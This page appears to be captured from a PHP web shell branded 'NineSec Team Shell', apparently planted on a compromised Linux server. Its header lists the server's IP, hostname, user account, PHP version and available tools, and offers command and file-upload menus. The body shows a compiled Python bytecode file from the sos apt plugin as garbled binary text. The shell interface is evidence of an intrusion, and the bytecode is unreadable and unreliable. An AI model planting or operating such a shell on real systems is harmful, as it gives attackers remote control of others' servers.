NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/apt.cpython-36.opt-1.pyc
3

~�g��@s,ddlmZmZmZGdd�deee�ZdS)�)�Plugin�UbuntuPlugin�DebianPlugincs0eZdZdZdZd
Zdd�Z�fdd	�Z�ZS)�AptzAPT - advanced packaging toolZapt�system�sysmgmt�packagemanagercCsx|jdddg�|jd�|jd�|jdddd	g�|jd
�}|dj�}djd
d�|D��}|jd|��dd�dS)Nz/etc/aptz/var/log/aptz/var/log/unattended-upgradesz/etc/apt/auth.confz/etc/apt/auth.conf.d/z
apt-get checkzapt-config dumpzapt-cache statszapt-cache policyz/dpkg-query -W -f='${binary:Package}	${status}
'�output� cSs"g|]}d|kr|jd�d�qS)zok installed�	r)�split)�.0�v�r�/usr/lib/python3.6/apt.py�
<listcomp>*szApt.setup.<locals>.<listcomp>zapt-cache policy zapt-cache_policy_details)Zsuggest_filename)Z
add_copy_specZadd_forbidden_pathZadd_cmd_outputZexec_cmd�
splitlines�join)�selfZdpkg_resultZdpkg_outputZpkg_listrrr�setups&

z	Apt.setupcs t�j�|jddddg�dS)Nz/etc/apt/sources.listz/etc/apt/sources.list.d/z/etc/apt/apt.confz/etc/apt/apt.conf.d/)�super�postprocZdo_paths_http_sub)r)�	__class__rrr0s
zApt.postproc)rrr)	�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesrr�
__classcell__rr)rrrs
rN)Zsos.report.pluginsrrrrrrrr�<module>s

NineSec Team - 2022